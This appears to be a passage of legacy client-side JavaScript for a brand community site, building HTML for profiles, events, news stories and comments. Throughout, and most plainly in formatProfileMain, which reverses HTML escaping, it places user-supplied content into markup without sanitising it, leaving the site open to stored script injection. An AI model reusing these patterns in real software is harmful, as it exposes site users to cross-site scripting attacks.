	txt+="&nbsp;<select id=sizeChooser"+idVal+" style=position:relative;left:0;top:1;width:48;height:17;cursor:pointer;font-familiy:verdana;font-size:10px onchange=chooseSize("+idVal+")>";
	txt+=" <option value=\"\">Size";
	txt+=" <option value=1>Tiny";
	txt+=" <option value=2>Small";
	txt+=" <option value=3>Normal";
	txt+=" <option value=4>Big";
	txt+=" <option value=5>Bigger";
	txt+=" <option value=6>Pretty Big";
	txt+=" <option value=7>Huge";
	txt+="</select>";
	txt+="&nbsp;<select id=colorChooser"+idVal+" style=position:relative;left:0;top:1;width:70;height:17;cursor:pointer;font-familiy:verdana;font-size:10px onchange=chooseColor("+idVal+")>";
	txt+=" <option value=\"\">Color";
	txt+=" <option value=\"Red\">Red";
	txt+=" <option value=\"Orange\">Orange";
	txt+=" <option value=\"Yellow\">Yellow";
	txt+=" <option value=\"Green\">Green";
	txt+=" <option value=\"Blue\">Blue";
	txt+=" <option value=\"Indigo\">Indigo";
	txt+=" <option value=\"Violet\">Violet";
	txt+=" <option value=\"Black\">Black";
	txt+=" <option value=\"Gray\">Gray";
	txt+=" <option value=\"White\">White";
	txt+="</select>";
	txt+="&nbsp;<img id=redoButton src=images/showHTML.gif style=position:relative;left:0;top:2;width:17;height:17;cursor:pointer onClick=\"showHTML()\" alt=\"Show HTML\"></nobr>";
	txt+="</div>";
	return txt;
}

//NOTE: the function writeRichText() draws a single instance of editSpace. It is found in editor.js


// ===================================================================== CONSOLE RELATED PAGE ELEMENT FORMATTING

function eventMenuSort(a,b){
	if(a[20]>b[20])return -1;
	if(a[20]<b[20])return 1;
	return 0;
}

function storyMenuSort(a,b){
	if(a[8]>b[8])return -1;
	if(a[8]<b[8])return 1;
	return 0;
}

//draws a selection menu page where members can select an item to edit
function getMenuContent(arr,n){
	var tab="profiles";

	if(n==2){
		var tit="Here’s the space to add or edit your news stories!<p>If this is the first news story you’re posting in THELABELAB, click here to <span onclick=hideMenu("+n+","+a+",true) class=blackcopy style=cursor:pointer;text-decoration:underline><b>create a new story</b></span>.<p>If you have storiues in here already, select one you wish to edit.";
		var thin="news story";
		tab="stories";
		arr=arr.sort(storyMenuSort);
		boxTit="News stories";
	}
	if(n==4){
		var tit="Here’s the space to add or edit your upcoming events!<p>If this is the first event you’re posting in THELABELAB, click here to <span onclick=hideMenu("+n+","+a+",true) class=blackcopy style=cursor:pointer;text-decoration:underline><b>create a new event</b></span>.<p>If you have events in here already, select the event you wish to edit.";
		var thin="event";
		tab="events";
		arr=arr.sort(eventMenuSort);
		boxTit="Events";
	}

	var txt="<div style=position:absolute;left:30;width:775;text-align:left><br><br><span class=head>"+tit+"</span><p>";
	var cont="<p>";

	for(var a=0;a<arr.length;a++){
		if(typeof(arr[a][3])!="undefined"&&arr[a][3]!=""){
			var rowNum=arr[a][0];
			var pubDate="";
			if(n==2)pubDate=getReadableDateStr(arr[a][8]);
			if(n==4)pubDate=getReadableDateStr(arr[a][20]);
			cont+="<span style=position:relative;left:30;width:700><span class=blackcopy>"+unescape(arr[a][3])+" "+pubDate+"</span> <span class=redcopytiny onclick=hideMenu("+n+","+a+",false)>EDIT</span><span class=redcopytiny> | </span><span class=redcopytiny onclick=deleteItemFromMenu('"+tab+"',"+rowNum+")>DELETE</span></span><p>";
		}
	}
	if(cont!="<p>")txt+=headerBoxFrame(cont,775,boxTit,false,thin+"MenuBox");
	txt+="</div>";
	return txt;
}

//write a single instance of editSpace
function formatEditor(){
	return writeRichText("_");
}

//title with black underline and optional subtitle, used on all console pages
function formatConsolePageTitle(tit,sub){
	var txt="";
	txt+="<br><div class=head style=position:relative;left:15>"+tit+"</div>";
	txt+="<img src=images/black.gif style=position:relative;left:15;width:800;height:1;top:0><br>";
	if(sub!="")txt+="<span style=position:relative;left:15; class=details>"+sub+"</span><br><br>";
	return txt;
}

//this executes when a profile preview is displayed, and when a profile display page is shown
function formatProfileDisplayBanner(arr,typ){
	var img=unescape(arr[0][23]);
	var comName=unescape(arr[0][5]);
	var tp=136;
	var lf=0;
	if(!ie&&typ==2){
		tp=69;//was 40
		lf=17;
		if(ff)lf=18;
	}
	else if(typ==2){
		tp=167;
	}

	//sfmac positioning experiment
	if(typeof(sfmac)!="undefined"&&sfmac){
		tp-=78;
	}

	var txt="<div style=position:relative;z-index:500;left:"+lf+";top:"+tp+";>";
	if(img=="blank.gif"&&comName!="")txt+="<span class=headline style=width:840;height:75;background-color:black;color:white;font-size:48px;overflow:hidden;padding-top:5><center><p><b>"+comName+"<b></center></span>";
	else txt+="<img id=profileEditBanner src='userimages/"+img+"' style=width:840;height:75;background-color:black>";
	txt+="</div><p>";
	return txt;
}

//banner for display on console pages. executes when console page loads, almost certainly for mail profile edit page (?)
function formatConsoleBanner(arr,butts){
	var tp=0;
	if(ie)tp=0;//this value controls top of profile edit page banner. that is the only use for this fucntion
	var img=unescape(arr[0][23]);
	if(img=="")img="blank.gif";
	var txt="<span id=bannerEditDisplay style=position:relative;left:0;top:"+tp+";width:840;height:75;background-color:black><img id=consoleBanner src='userimages/"+img+"' width=840 height=75></span>";
	if(ff)var txt="<img id=consoleBanner src='userimages/"+img+"' style=position:relative;left:0;top:"+tp+";width:840;height:75;background-color:black>";
	if(sf)var txt="<span id=bannerEditDisplay style=position:relative;left:0;top:"+tp+";width:840;height:75;background-color:black><img id=consoleBanner src='userimages/"+img+"' width=840 height=75 style=position:-40></span>";
	return txt;
}

//left column on profile preference page, basic profile info. this column supports the structure
function formatProfPrefLeftColumn(fldWid){
	var txt="";
	txt+="<div id=leftTextFieldColumn style=position:relative;left:15;top:0;width:200><br>";
	txt+=formCombined("Brand / Company Name",fldWid,0,"comName");
	txt+=formCombined("Contact Name (required)",fldWid,0,"conName");
	txt+=formCombined("Address (required)",fldWid,0,"comAddress");
	txt+=formCombined("City (required)",fldWid,0,"comCity");
	txt+=formCombined("Phone Number (required)",fldWid,0,"phone");
	txt+=formTitle("Web Site(s)",0,"websites");
	txt+=formField(fldWid,0,"firstURL");
	txt+=formField(fldWid,0,"secondURL");
	txt+=formField(fldWid,0,"thirdURL");
	txt+="</div>";
	return txt;
}

//right column on profile preference page, basic profile info. This column floats and must be placed using style positioning
function formatProfPrefRightColumn(fldWid){
	var txt="";
	var tp=51;
	var lf=327;
	if(ff){
		tp=200;
		lf=327;
	}
	if(sf){
		tp=166;
		lf=326;
	}
	txt+="<div id=rightTextFieldColumn style=position:absolute;left:"+lf+";top:"+tp+";width:200>";
	txt+=formCombined("Contact E-mail (required)",fldWid,0,"conEmail");
	txt+=formCombined("Enter New Password (optional)",fldWid,0,"password");
	txt+=formCombined("State / Province (required)",fldWid,0,"comState");
	txt+=formCombined("Postal Code (required)",fldWid,0,"zip");
	txt+=formTitle("Country (required)",0,"comCountryCaption");
	txt+=countrySelectionField(fldWid,0,"comCountryInput");
	txt+=formTitle("Brand(s)",0,"brands");
	txt+=formField(fldWid,0,"firstBrand");
	txt+=formField(fldWid,0,"secondBrand");
	txt+=formField(fldWid,0,"thirdBrand");
	txt+="</div><br>";
	return txt;
}

//set of essays and checkboxes asking about member's business profile
function formatProfPrefProperties(){
	var txt="";
	var cop="In order for members to easily locate you, select the products and services you provide and those you're looking for:";
	txt+=formPara(cop,15,400,"essayBlocks");
	txt+=horizontalCheckboxBlock(categories,15,145,4,"Product/Service Categories (Check All):","prodServList");
	txt+=horizontalCheckboxBlock(categories,15,145,4,"Looking For Product/Services, (Check All):","lookForList");
	var paraCont="Click to <span onclick=sendMailSuggestion('category') style=cursor=pointer;text-decoration:underline>suggest a new category</span> to include.<p>";
	txt+=formParaSmall(paraCont,15,500,"suggestCategory");
	cop="I'm down with these brands / companies:<br><span style=font-weight:normal>(Enter names separated by commas.)</span>";
	txt+=formEssay(cop,15,75,500,"downWith");
	cop="Keywords (separated by commas):<br><span style=font-weight:normal>(These should be words that describe your brand or business, such as: Name of My Brand,<br>sneaker boutique, New York City, selvedged, denim, supplier, T-shirts, graphic-inspired,<br>accessories, bags, crocheted, hats, graffiti.)</span>";
	txt+=formEssay(cop,15,75,500,"keywords");
	return txt;
}

//group of 5 combined text entry elements arranged horizontally collecting event location information
function formatEventLocDetails(fldWid){
	var txt="";
	txt+="<div style=position:relative style=background-color:pink>";
	txt+="<span id=eventLocBox0 style=position:absolute;left:30;width:250;>";
	txt+=formCombined("Event Location",fldWid,0,"evVenueName");
	txt+="</span>";
	txt+="<span id=eventLocBox1 style=position:absolute;left:300;width:250;>";
	txt+=formCombined("Event Address",fldWid,0,"evAddress");
	txt+="</span>";
	txt+="<span id=eventLocBox4 style=position:absolute;left:570;width:250;>";
	txt+=formCombined("City / Region",fldWid,0,"evCity");
	txt+="</span>";
	txt+="</div><br><br><div style=position:relative>";
	txt+="<span id=eventLocBox3 style=position:absolute;left:30;width:250;>";
	txt+=formCombined("State / Province",fldWid,0,"evState");
	txt+="</span>";
	txt+="<span id=eventLocBox2 style=position:absolute;left:300;width:250;>";
	txt+=formCombined("Postal Code",fldWid,0,"evZip");
	txt+="</span>";
	txt+="<span id=eventLocBox5 style=position:absolute;left:570;width:250;>";
	txt+=formTitle("Country",0,"evCountryCaption");
	txt+=countrySelectionField(fldWid,0,"evCountryInput");
	txt+="</span>";
	txt+="</div><br><br>";
	return txt;
}

//group of single line combined text entry elements collecting event contact information
function formatEventContact(fldWid){
	var txt="";
	txt+=formCombined("Event URL",fldWid,15,"evURL");
	txt+=formCombined("Contact Name",fldWid,15,"evContactName");
	txt+=formCombined("Contact E-mail",fldWid,15,"evContactEmail");
	txt+=formCombined("Contact Phone",fldWid,15,"evContactPhone");
	return txt;
}


// ===================================================================== CONSUMER PAGE ELEMENT FORMATTING

// =================================MEMBER PROFILE PAGE

//left sidebar on member profile pages
function formatProfileSidebar(arr,wid){
	var brand=unescape(arr[0][5]);
	var contactName=unescape(arr[0][4]);
	var contactEmail=unescape(arr[0][3]);
	var contactAddress=unescape(arr[0][6]);
	var contactCity=unescape(arr[0][7]);
	var contactState=unescape(arr[0][9]);
	var contactZip=unescape(arr[0][8]);
	var contactCountry=unescape(arr[0][10]);
	var contactPhone=unescape(arr[0][11]);
	var brands=unescape(arr[0][17]);
	brands=brands.split(";");
	var website1=unescape(arr[0][13]);
	if(website1!=""){
		website1="<a href=http://"+website1+">"+website1+"</a>";
	}
	var website2=unescape(arr[0][14]);
	if(website2!=""){
		website2="<a href=http://"+website2+">"+website2+"</a>";
	}
	website3=unescape(arr[0][15]);
	if(website3!=""){
		website3="<a href=http://"+website3+">"+website3+"</a>";
	}
	var prodServList=unescape(arr[0][19]);
	prodServList=replacer(prodServList,",","; ");
	prodServList=replacer(prodServList,";",",");
	var lookingForList=unescape(arr[0][20]);
	lookingForList=replacer(lookingForList,",","; ");
	lookingForList=replacer(lookingForList,";",",");
	var downWithList=unescape(arr[0][18]);
	downWithList=replacer(downWithList,"~|~",", ");
	var img=unescape(arr[0][24]);

	if(img=="blank.gif")img="fakeIcon.gif";

	var txt="<center><img src='userimages/"+img+"' style=width:150;height:150 border=1 vspace=10></center> ";
	txt+="<div id=profileSummaryHead class=bighead style=position:relative;left:0;width:"+(wid+5)+";text-align:center;>"+brand+"</div><p> ";
	txt+="<div id=profileSummarySub0 class=sumcopylight style=position:relative;left:10;width:"+(wid-15)+";><b>Contact:</b><br>"+contactName+"<p><b>Email:</b><br>"+contactEmail+" <p>";
	txt+="<b>Address:</b><br>"+truncator(contactAddress,100)+"<br>"+contactCity+", "+contactState+" "+contactZip+"<br>"+contactCountry;
	txt+="<p><b>Phone:</b><br>"+contactPhone+"<p><b>Website(s):</b><br>"+website1+"<br>"+website2+"<br>"+website3;
	txt+="<p><b>Products/Services:</b><br>"+prodServList+"<p><b>Looking for:</b><br>"+lookingForList;
	txt+="<p><b>Down with these brands/companies:</b><br>"+downWithList+"<p></div>";
	return txt;
}

//main copy block on member profile page, includes corrective filtering for escaped HTML characters. fix this? is it happening in PHP? is it necessary? is it a consequence of escape-unescape? no?
function formatProfileMain(arr){
	var mainCopy=unescape(arr[0][22]);
	mainCopy=replacer(mainCopy,"&lt;","<");
	mainCopy=replacer(mainCopy,"&gt;",">");
	mainCopy=replacer(mainCopy,"&quot;","\"");
	return mainCopy;
}

//column of event summaries for member profile page
function formatProfileMyEvents(arr,butts){
	var txt="";
	if(arr[0].length==1)txt="<br><br><span class=subhead style=position:relative;left:15>No current events by this member.</span><br><br>";
	else{
		for(var e=0;e<arr.length;e++){
			var dat=arr[e];
			var img=unescape(dat[6]);
			var hedline=unescape(dat[3]);
			var endTimeSeconds=unescape(dat[21]);
			var dateRange=getReadableDateTimeStr(unescape(dat[20]))+" - "+getReadableDateTimeStr(unescape(dat[21]));
			var summary=unescape(dat[4]);
			var address=unescape(dat[8]);
			var city=unescape(dat[9]);
			var state=unescape(dat[10]);
			var zip=unescape(dat[11]);
			var website=unescape(dat[16]);
			var ky=dat[0];
			now=new Date;
			now=now.getTime();
			now=Math.round(now/1000);
			if(endTimeSeconds>now){
				txt+="<table id=eventsItem"+e+" onclick=\"linkToItem('events',"+ky+")\" border=0 height=85 width=585 cellpadding=0 cellspacing=0>";
				txt+="<tr><td id=eventsItemImage width=125 valign=top align=center> ";
				txt+="<img src='userimages/"+img+"' style=position:relative;width;50;height:50 border=1 vspace=5 hspace=5> ";
				txt+="</td> <td id=eventsItemCopy width=475 valign=top> <span class=redcopy style=position:relative;top:3>"+hedline+"</span><br>";
				txt+="<span class=details style=position:relative;top:0>"+dateRange+"</span><br> <span class=blackcopy style=position:relative;top:0>"+summary+"</span><br><br> ";
				txt+="<span class=details style=position:relative;top:-5>"+address+", "+city+", "+state+" "+zip+" "+website+"+</span> ";
				txt+="</td></tr>";
				if(butts)txt+="<tr><td colspan=2><nobr> <img src=images/editButton.gif style=position:relative;width:60;height:14;left:10 vspace=10 border=1> <img src=images/removeButton.gif style=position:relative;width:60;height:14;left:10 vspace=10 border=1></nobr></td></tr>";
				if(e<arr.length-1)txt+="<tr><td colspan=2><img src=images/black.gif width=600 height=1 style=position:relative;top:-3></td></tr>";
				else txt+="<tr><td colspan=2><img src=images/blank.gif width=600 height=1 style=position:relative;top:-3></td></tr>";
				txt+="</table>";
			}
		}
	}
	return txt;
}

//column of related user comments for member profile page
function formatProfileComments(arr,butts){
	var txt="";
	if(arr[0].length==1)txt="<br><br><span class=subhead style=position:relative;left:15>There are no comments on this page yet.</span><br><br>";
	else{
		for(var e=0;e<arr.length;e++){
			var dat=arr[e];
			var tit=unescape(dat[3]);
			var bod=unescape(dat[4]);
			var nam=unescape(dat[5]);
			var img=unescape(dat[7]);
			var commID=dat[0];
			txt+="<table id=commentsItem"+e+" border=0 height=85 width=585 cellpadding=0 cellspacing=0 border=0>";//onclick=\"doNav('comment "+e+"')\"
			txt+="<tr><td id=commentsItemImage width=125 valign=top align=center> ";
			txt+="<img src='userimages/"+img+"' style=position:relative;width;75;height:75 border=1 vspace=5 hspace=5><br><span class=subhead style=position:relative;top:2>"+nam+"</span><p></td> ";
			txt+="<td id=commentsItemTitle width=475 valign=top> <span class=redcopy style=position:relative;top:0>"+tit+"</span><br><img src=images/blank.gif width=425 height=2 vspace=7 style=position:relative;top:2;background-color:999999><br><span class=details style=position:relative;top:0>"+bod+"</span><p></td></tr>";
			if(butts)txt+="<tr><td colspan=2><nobr> <img src=images/removeButton.gif style=position:relative;width:60;height:14;left:10;cursor:pointer vspace=10 border=1 onclick=removeComment("+commID+")></nobr></td></tr>";
			if(e<arr.length-1)txt+="<tr><td colspan=2><img src=images/black.gif width=600 height=1 style=position:relative;top:-3></td></tr>";
			else txt+="<tr><td colspan=2><img src=images/blank.gif width=600 height=1 style=position:relative;top:-3></td></tr>";
			txt+="</table>";
		}
	}
	if(perm==0)txt+="<span class=subhead style=position:relative;left:15>You must be a member to add comments. <span class=link style=text-decoration:underline onclick=sessionNav(\"createAccount.php\")>Click here to join</span>.</span><p>";
	else txt+=commentSubmissionBox(15,570);
	return txt;
}

//========================================================================================= HOME PAGE ELEMENTS

//shows list of new members on home page
function formatMemberItems(arr){
	var txt="<table width=320 border=0 cellpadding=0 cellspacing=0>";
	var lim=arr.length;
	if(lim>24)lim=24;
	var aCnt=0;
	var newArr=new Array();
	for(var a=0;a<arr.length;a++){
		if(arr[a][24]=="blank.gif")arr[a][24]="fakeIcon.gif";
		if(arr[a][0]!=""){
			newArr[aCnt]=arr[a];
			aCnt++;
		}
	}
	arr=newArr;
	arr.sort(createSorter);
	for(var m=0;m<lim;m=m+3){
		txt+="<tr>";
		for(var m2=0;m2<3;m2++){
			var num=m+m2;
			if(typeof(arr[num])!="object")break;
			var imgStr=unescape(arr[num][24]);
			var namStr=unescape(arr[num][5]);
			var ky=arr[num][0];
			//this is messy, clean it up ... what is actual formatting of cat string?
			var catStr=unescape(arr[num][16]);
			if(typeof(catStr)=="string"&&catStr.indexOf(",")!=-1)catStr=catStr.split(",");
			if(typeof(catStr)=="string"&&catStr.indexOf(";")!=-1)catStr=catStr.split(";");
			if(typeof(catStr)=="object")catStr=catStr[0];
			if(num<arr.length&&namStr!="")txt+="<td id=newMembersItem"+num+" onclick=\"linkToItem('profiles',"+ky+")\" width=108 class=details align=center valign=top style=cursor:pointer> <img src='userimages/"+imgStr+"' style=width:75;height:75;cursor:pointer border=1 hspace=10 vspace=5><br> <b>"+namStr+"</b><br> "+catStr+"<br clear=all> </td>";
		}
		txt+="</tr>";
	}
	txt+="</table>";
	return txt;
}

//shows list of upcoming events on home page
function formatEventItems(arr){
	var txt="";
	var lim=arr.length;
	if(lim>9)lim=9;
	var now=new Date;
	now=now.getTime()
	now=Math.round(now/1000)+10000;
	arr=arr.sort(reverseDateSorter);
	for(var e=0;e<lim;e++){
		var imgStr=unescape(arr[e][6]);
		var subStr=unescape(arr[e][3]);

		var sDateVal=parseInt(unescape(arr[e][20]));
		var eDateVal=parseInt(unescape(arr[e][21]));
		var actDateVal=sDateVal;
		if(sDateVal<now&&eDateVal>now)actDateVal=now+Math.round(.5*(eDateVal-now));

		var noSecondDate=true;
		if((eDateVal-sDateVal)>86000)noSecondDate=false;

		var startDateStr=getReadableDateTimeStr(sDateVal);
		var endDateStr=getReadableDateTimeStr(eDateVal);

		startDateStr=startDateStr.split(" ");
		endDateStr=endDateStr.split(" ");
		var sTime=startDateStr[3];
		var eTime=endDateStr[3];
		startDateStr=startDateStr[0]+" "+startDateStr[1]+" "+startDateStr[2];
		endDateStr=" - "+endDateStr[0]+" "+endDateStr[1]+" "+endDateStr[2];
		if(noSecondDate)endDateStr="";

		var datStr=startDateStr+endDateStr+"<br>";
		datStr+=sTime+" - "+eTime;

		var cityStr=unescape(arr[e][9]);
		var stateStr=unescape(arr[e][10]);
		var zipStr=unescape(arr[e][11]);
		var countryStr=unescape(arr[e][12]);
		var ky=arr[e][0];
		if(typeof(actDateVal)!="undefined"&&actDateVal!=""&&actDateVal>now)txt="<table id=eventsItem"+e+" onclick=\"linkToItem('events',"+ky+")\" border=0 class=redcopy height=85 width=319> <tr> <td id=eventsItemCopy rowspan=2 width=85 height=85 valign=middle align=center> <img src='userimages/"+imgStr+"' style=position:relative;width:100;height:100 border=1> </td> <td id=eventsItemCopy width=234 height=55 valign=top> <span class=redcopy>"+subStr+"</span><br><br> <span class=details style=position:relative;top:-5>"+datStr+"<br>"+cityStr+", "+stateStr+" "+zipStr+" "+countryStr+"</span> </td> </tr> </table>"+txt;
	}
	return txt;
}

//shows list of current news stories on home page
function formatNewsItems(arr){
	var txt="";
	var lim=arr.length;
	if(lim>18)lim=18;
	for(var n=0;n<lim;n++){
		var newsStr=unescape(arr[n][3]);
		var datStr=unescape(arr[n][8]);
		if(datStr!="")datStr=getReadableDateStr(datStr);
		var imgStr=unescape(arr[n][10]);
		var ky=arr[n][0];
		txt+="<div id=newsItem"+n+" onclick=\"linkToItem('stories',"+ky+")\" class=redcopy> ";
		txt+="<img src='userimages/"+imgStr+"' width=150 height=150 hspace=15 vspace=5 align=left border=1> ";
		txt+="<div id=newsItemCopy style=position:relative;left:0;top:10>"+newsStr+"<br><span class=blackdatesmall>"+datStr+"</span></div>";
		txt+="<br clear=all><center style=position:relative;top:-18;color:black;font-weight:normal>........................................................</center> </div>";
	}
	return txt;
}


// =========================================================================================================== NEWS PAGE ELEMENTS

//main display area on news page
function formatBigNewsWindow(arr){
	var txt="";
	var tit="<span class=bighead>"+unescape(arr[0][3])+"</span>";
	var dateLine="<span class=details>"+getReadableDateStr(unescape(arr[0][8]))+"</span>";
	var byLine="<span class=subhead>By "+unescape(arr[0][7])+"</span>";
	var phoCred="<span class=subhead>Photos by "+unescape(arr[0][11])+"</span>";
	var mainBody="<span class=blackcopy>"+unescape(arr[0][6])+"</span>";
	var newsStuff=tit+"<br>"+dateLine+"<br>"+byLine+"<br>"+phoCred+"<br>"+normalize(mainBody);
	txt+="<div id=bigNewsWindow style=position:relative;width:800;padding:1;left:15 class=box><br><div style=position:relative;left:15;width:765;>"+newsStuff+"</div><br><br></div><p>";
	return txt;
}

// =========================================================================================================== EVENT PAGE ELEMENTS

//main display area on event window
function formatBigEventWindow(arr){
	var bnwWid=800;
	if(ff)bnwWid=785;
	if(sf)bnwWid=780;
	var tit="<span class=whitehead><b>"+unescape(arr[0][3])+"</b></span>";
	var bod="<span class=details>"+unescape(arr[0][5])+"</span>";
	var pureEma=unescape(arr[0][18]);
	var contact="<span class=details>"+unescape(arr[0][17])+"</span>";
	var summary=unescape(arr[0][4]);
	var showEma="<span class=details>"+unescape(arr[0][18])+"</span>";
	var startTime="<span class=details>"+unescape(arr[0][20])+"</span>";
	var timStr=getReadableDateTimeStr(unescape(arr[0][20]));
	var loc="<span class=details>"+unescape(arr[0][7])+"<br>"+unescape(arr[0][8])+"<br>"+unescape(arr[0][9])+", "+unescape(arr[0][10])+"&nbsp; "+unescape(arr[0][11])+"<br>"+unescape(arr[0][12])+"</span>";
	var mapLink="<a href='http://www.mapquest.com/maps/map.adp?searchtype=address&country=US&addtohistory=&searchtab=home&formtype=address&popflag=0&latitude=&longitude=&name=&phone=&level=&cat=&address="+unescape(arr[0][8])+"&city="+unescape(arr[0][9])+"&state="+unescape(arr[0][10])+"&zipcode="+unescape(arr[0][11])+"'>View Map</a>";
	var eventHeader="<div style=background-color:black;height:25;width:800;color:white;text-align:center;padding:3px;position:relative;left:20;top:0;overflow:hidden>"+tit+"</div>";
	var eventContent=bod+"<p>";
	eventContent+="<span class=subhead>Hosted By:</span><br><span class=details>"+contact+"<br><a href=mailto:"+pureEma+">"+showEma+"</a></span><p>";
	eventContent+="<span class=subhead>Summary:</span><br><span class=details>"+summary+"</span><p>";
	eventContent+="<span class=subhead>When:</span><br><span class=details>"+timStr+"</span><p>";
	eventContent+="<span class=subhead>Where:</span><br><span class=details>"+loc+"<br>"+mapLink+"</span><p>";
	var txt=eventHeader+"<div id=bigNewsWindow style=position:relative;width:"+bnwWid+";padding:10px;overflow:hidden;left:20 class=box>"+normalize(eventContent)+"</div><p>";
	return txt;
}

// ============================= COMMENT BLOCK

//list of full comments included on pages that accept comments
function formatCommentList(arr,butts){
	var txt="";
	for(var c=0;c<arr.length;c++){
		var dat=arr[c];
		if(typeof(dat[3])!="undefined"&&dat[3]!=""){
			var commentTitle=unescape(dat[3]);
			var commentContent=unescape(dat[4]);
			var commentAuthor=unescape(dat[5]);
			var commentImg=unescape(dat[7]);
			var commID=dat[0];
			txt+="<br><table id=commentItem"+c+" border=0 height=85 width=700 cellpadding=0 cellspacing=0 class=box>";
			txt+="<tr><td id=commentItemCopy width=100 height=85 valign=top align=center> ";
			txt+="<br><img src='userimages/"+commentImg+"' style=position:relative;width;75;height:75 border=1 vspace=5 hspace=5><br><span class=subhead style=position:relative;top:2>"+commentAuthor+"</span><br></td> ";
			txt+="<td id=commentItemCopy width=700 height=85 valign=top> ";
			txt+=" <span class=subhead style=position:relative;top:3>"+commentTitle+"</span><br><img src=images/black.gif width=600 height=1 style=position:relative;top:3><p>";
			txt+="<div id=commentContentDiv style=width:600 class=details>"+commentContent+"</div>";
			txt+="</div>";
			txt+="</td></tr>";
			if(butts)txt+="<tr><td colspan=2><nobr> <img src=images/removeButton.gif style=position:relative;width:60;height:14;left:10;cursor;pointer vspace=10 border=1 onclick=removeComment("+commID+")></nobr></td></tr>";
			txt+="</table><br>";
		}
	}
	if(txt=="")txt="<br><br><span class=subhead style=position:relative;left:15>There are no comments on this page yet.</span><br><br>";
	txt="<img src=images/addCommentButton.gif width=97 height=19 style=cursor:pointer onclick=doNav('add_comment') border=1><p><span class=bighead>C O M M E N T S</span><p><div id=mainCommentHolder style=position:relative;width:800;left:15 class=box><center><p>"+txt;
	if(perm==0)txt+="<center><span class=subhead>You must be a member to add comments. <span class=link style=text-decoration:underline onclick=sessionNav(\"createAccount.php\")>Click here to join</span>.</span></center><p>";
	else txt+=commentSubmissionBox(0,700);
	txt+="</center><br><br></div>";
	return txt;
}

function commentSubmissionBox(lef,wid){
	var colWid=wid-80;
	var fldWid=wid-110;
	var txt="<a name=commentTop><div class=box style=position:relative;left:"+lef+";width:"+wid+";height:300;border-width:0><center><br><span class=head>Submit a comment</span><br><br>";
	txt+="<table>";
	txt+="<tr><td class=subhead valign=top width=80>Title</td><td valign=top align=center width="+colWid+"><input class=input type=text id=commTitle style=width:"+fldWid+";></td></tr>";
	txt+="<tr><td class=subhead valign=top width=80>Comment</td><td valign=top align=center width="+colWid+"><textarea class=box type=text id=commBody style=width:"+fldWid+";height:150;font-family:verdana;font-size:10px></textarea><br></td></tr>";
	txt+="</table>";
	txt+="<br><input type=button onclick=submitCommentData() value=' Send Comment '></center><br></div><br>";
	return txt;
}


// ====================================================================== ARRAYS OF DATABASE TABLE COLUMN NAMES AND MATCHING DUMMY DATA

var accountCols=new Array("acctEmail","password","sessionID","ipSrc","lastActive","acctStatus","memberKey","flags");
var accountVals=new Array("","","","","","1","","");

var profileCols=new Array("acctKey","conEmail","conName","comName","comAddress","comCity","zip","comState","country","zipExt","phone","firstURL","secondURL","thirdURL","category","brandList","downList","prodServList","lookForList","keywordList","comInfo","barImg","profileImg","searchStatus","discussionStatus","commentKeys","eventKeys","storyKeys","layoutParams","flags");
var profileVals=new Array("","","","","","","","","","","","","","","","","","","","","","","","","","","","","","","","");//this is not used to populate new accounts, the version in basics.php is

var eventCols=new Array("acctKey","title","summary","body","imageURL","venue","venueAddr","venueCity","venueState","venueZip","venueCountry","venueDescription","venueAccess","keywordList","eventURL","conName","conEmail","conPhone","eventStart","eventEnd","eventRepInc","eventRepMax","disussionStatus","commentkeys","flags");
var eventVals=new Array("","","","","","","blank.gif","","","","","","","","","","","","","","","","","","1","","","","","");//this is used to populate new events

var storyCols=new Array("acctKey","title","subtitle","description","body","author","pubDate","mainImage","thumbImage","photoCredit","keywordList","discussionStatus","searchStatus","commentKeys","flags");
var storyVals=new Array("","","","","","","","","","blank.gif","blank.gif","","","1","1","","");//this is used to populate new stories

var commentCols=new Array("acctKey","title","body","author","priorComment","image","ipSrc","linkedToTable","linkedToKey","flags");
var commentVals=new Array("","","","","","","","","","");

var activityCols=new Array("acctKey","ipSrc","activityCode","comment","flags");
var activityVals=new Array("","","","","");

var storageCols=new Array("itemName","listItems","flags");
var storageVals=new Array("","","");

var dayArr=new Array("Sun","Mon","Tue","Wed","Thu","Fri","Sat");
var monArr=new Array("Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec");
var dayArrLong=new Array("Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday");
var monArrLong=new Array("January","February","March","April","May","June","July","August","September","October","November","December");

var countryOptionStr="<option value=''></option><option value='US'>United States</option><option value='UK'>United Kingdom</option><option value='FR'>France</option><option value='DE'>Germany</option><option value='AF'>Afghanistan</option><option value='AL'>Albania</option><option value='DZ'>Algeria</option><option value='AS'>American Samoa</option><option value='AD'>Andorra</option><option value='AO'>Angola</option><option value='AI'>Anguilla</option><option value='AG'>Antigua And Barbuda</option><option value='AR'>Argentina</option><option value='AM'>Armenia</option><option value='AW'>Aruba</option><option value='X1'>Ascension</option><option value='AU'>Australia</option><option value='AT'>Austria</option><option value='AZ'>Azerbaijan</option><option value='X2'>Azores</option><option value='BS'>Bahamas</option><option value='BH'>Bahrain</option><option value='BD'>Bangladesh</option><option value='BB'>Barbados</option><option value='BY'>Belarus</option><option value='BE'>Belgium</option><option value='BZ'>Belize</option><option value='BJ'>Benin</option><option value='BM'>Bermuda</option><option value='BT'>Bhutan</option><option value='BO'>Bolivia</option><option value='X3'>Bophuthatswana</option><option value='BA'>Bosnia-Hercegovina</option><option value='BW'>Botswana</option><option value='BR'>Brazil</option><option value='VG'>British Virgin Islands</option><option value='BN'>Brunei</option><option value='BG'>Bulgaria</option><option value='BF'>Burkina Faso</option><option value='BI'>Burundi</option><option value='CM'>Cameroon</option><option value='CA'>Canada</option><option value='CV'>Cape Verde</option><option value='KY'>Cayman Islands</option><option value='CF'>Central African Republic</option><option value='TD'>Chad</option><option value='CL'>Chile</option><option value='CN'>China</option><option value='CO'>Colombia</option><option value='KM'>Comoros</option><option value='CG'>Congo</option><option value='CK'>Cook Islands</option><option value='CR'>Costa Rica</option><option value='HR'>Croatia</option><option value='CU'>Cuba</option><option value='CY'>Cyprus</option><option value='CZ'>Czech Republic</option><option value='CS'>Czechoslovakia</option><option value='DK'>Denmark</option><option value='DJ'>Djibouti</option><option value='DM'>Dominica</option><option value='DO'>Dominican Republic</option><option value='EC'>Ecuador</option><option value='EG'>Egypt</option><option value='SV'>El Salvador</option><option value='GB'>England</option><option value='GQ'>Equatorial Guinea</option><option value='ER'>Eritrea</option><option value='EZ'>Espana</option><option value='EE'>Estonia</option><option value='ET'>Ethiopia</option><option value='FK'>Falkland Islands</option><option 